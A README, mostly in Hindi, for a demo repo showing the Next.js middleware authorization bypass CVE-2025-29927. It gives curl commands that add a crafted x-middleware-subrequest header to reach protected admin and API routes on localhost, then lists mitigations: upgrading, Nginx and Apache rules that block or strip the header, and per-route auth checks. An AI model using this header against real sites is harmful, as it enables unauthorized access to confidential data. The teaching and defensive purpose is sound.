
Next.js में Middleware प्राधिकरण बायपास भेद्यता (CVE-2025-29927) का प्रदर्शन करता है, जो अनधिकृत उपयोगकर्ताओं को संरक्षित जानकारी तक पहुँचने की अनुमति देता है।
यह Repo एक उदाहरण प्रोजेक्ट प्रदान करता है जो Next.js में Middleware प्राधिकरण बायपास भेद्यता (CVE-2025-29927) को प्रदर्शित करता है। यह भेद्यता अनधिकृत उपयोगकर्ताओं को संरक्षित संसाधनों तक पहुँचने की अनुमति देती है।
CVE-2025-29927 एक गंभीर सुरक्षा भेद्यता है (CVSS स्कोर: 9.1) जो Next.js के middleware सिस्टम को प्रभावित करती है। हमलावर HTTP अनुरोध में विशेष रूप से तैयार किया गया x-middleware-subrequest header जोड़कर middleware की सुरक्षा जाँचों को पूरी तरह से बायपास कर सकते हैं।
/admin) तक पहुँच सकते हैं/api/confidential) तक पहुँच संभव हैnpm install चलाएँnpm run dev चलाएँhttp://localhost:3000 खोलें और आप वर्तमान वेबसाइट देख सकते हैंNext.js आंतरिक header x-middleware-subrequest का उपयोग middleware के पुनरावर्ती कॉलों के कारण होने वाले अनंत लूप को रोकने के लिए करता है। हालाँकि, इस header का फायदा बाहरी अनुरोधों द्वारा उठाया जा सकता है। जब कोई अनुरोध इस header को शामिल करता है और अधिकतम पुनरावृत्ति गहराई (MAX_RECURSION_DEPTH) तक पहुँच जाता है, तो Next.js middleware निष्पादन को पूरी तरह से छोड़ देता है।
पहले, संरक्षित पथ तक सामान्य रूप से पहुँचने का प्रयास करें:
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
अपेक्षित परिणाम: लॉगिन पृष्ठ पर पुनर्निर्देशित किया जाएगा (302 redirect to /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
अपेक्षित परिणाम: 401 Unauthorized त्रुटि लौटाता है
अब, middleware को बायपास करने के लिए विशेष रूप से तैयार header का उपयोग करें:
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
अपेक्षित परिणाम: व्यवस्थापक पृष्ठ की सामग्री तक सफल पहुँच (200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
अपेक्षित परिणाम: API तक सफल पहुँच और गोपनीय जानकारी प्राप्त करना (200 OK)
आप ब्राउज़र के डेवलपर टूल का उपयोग करके भी परीक्षण कर सकते हैं:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboard पर जाएँजब middleware को x-middleware-subrequest header वाला अनुरोध प्राप्त होता है:
पैच किए गए संस्करण में अपग्रेड करें:
यदि तुरंत अपग्रेड संभव नहीं है, तो रिवर्स प्रॉक्सी (Nginx, Apache, आदि) स्तर पर x-middleware-subrequest header वाले अनुरोधों को ब्लॉक किया जा सकता है:
Nginx कॉन्फ़िगरेशन उदाहरण:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Apache कॉन्फ़िगरेशन उदाहरण:
RequestHeader unset x-middleware-subrequest
middleware के अलावा, रूट हैंडलर में भी प्रमाणीकरण जाँच लागू करें:
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}